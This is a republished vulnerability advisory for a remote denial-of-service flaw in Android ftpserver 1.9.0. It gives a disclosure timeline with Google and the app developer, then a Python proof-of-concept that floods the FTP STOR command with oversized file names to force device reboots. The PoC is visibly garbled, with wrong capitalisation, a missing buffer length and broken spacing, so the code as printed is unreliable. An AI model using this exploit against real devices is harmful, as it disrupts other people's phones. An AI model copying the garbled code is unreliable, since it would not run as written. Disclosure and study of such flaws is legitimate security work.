[Security_android] Android ftpserver 1.9.0-remote DoS Code Analysis

Source: Internet
Author: User

# Exploit title:android ftpserver 1.9.0 Remote DoS
# DATE:03/20/12
# AUTHOR:G13
# Twitter: @g13net
# software site:https://sites.google.com/site/andreasliebigapps/ftpserver/
# Download link:http://www.g13net.com/ftpserver.apk
# version:1.9.0
# Category:dos (Android)
#

##### Vulnerability #####

Ftpserver is vulnerable to a DoS condition when long file names be
Repeatedly attempted to be written via the STOR command.

Successful exploitation would causes devices to restart.

Android Security Team has confirmed this issue.

I have been able to test this exploit against Android 2.2 and 2.3.
4.0 (ICS) appears is vulnerable.

##### Vendor Timeline #####

Android Security Team:
10/20/11-vendor notified of vulnerability, Vendor notifies me they would
Be looking to the issue
10/21/11-vendor requests bug report from device, bug report sent, PoC
Code delivered to Vendor
10/24/11-asked Vendor Status, stated I has been able to duplicate issue
On multiple devices
10/25/11-vendor states they is still working on it
10/30/11-current Status asked
10/31/11-vendor Replies No Updates
11/7/11-emailed Vendor, they ask for more clarification on issue. I
Submit more details
11/8/11-vendor acknowledges that it's not the APK itself causing the
Crashes. Vendor also confirms full reboots from PoC code.
11/9/11-vendor asks if I am just crashing application or device in
Certain instances. I state device is restarting.
11/11/11-i ask if there is anything more I could assist with. Vendor
States they has isolated the impacted component and is working on a
Fix.
11/18/11-current status asked.
12/8/11-update requested, response that they would contact Kernel team for
An update
01/13/12-current status asked, no response
03/06/12-current status asked, no response
03/20/12-disclosure

Developer:
1/24/12-developer contacted
1/25/12-developer responds
1/27/12-supplied Developer with PoC code, Developer confirms issue
1/29/12-developer releases new version
3/20/12-disclosure

##### PoC #####

#!/usr/bin/python
# Android Ftpserver PoC Device Crash

Import socket

s = socket.socket (socket.af_inet, socket. SOCK_STREAM)

Buffer = "STOR" + "A" * + + "\ r \ n"
For x in Xrange (1,31):
s = socket.socket (socket.af_inet, socket. SOCK_STREAM)
Print X
S.connect (' 172.16.30.108 ', 2121)

DATA=S.RECV (1024)
S.send ("USER test\r\n")
DATA=S.RECV (1024)
S.send ("PASS test\r\n")

S.send (buffer)

S.send ("QUIT")

S.close ()

[Security_android] Android ftpserver 1.9.0-remote DoS Code Analysis

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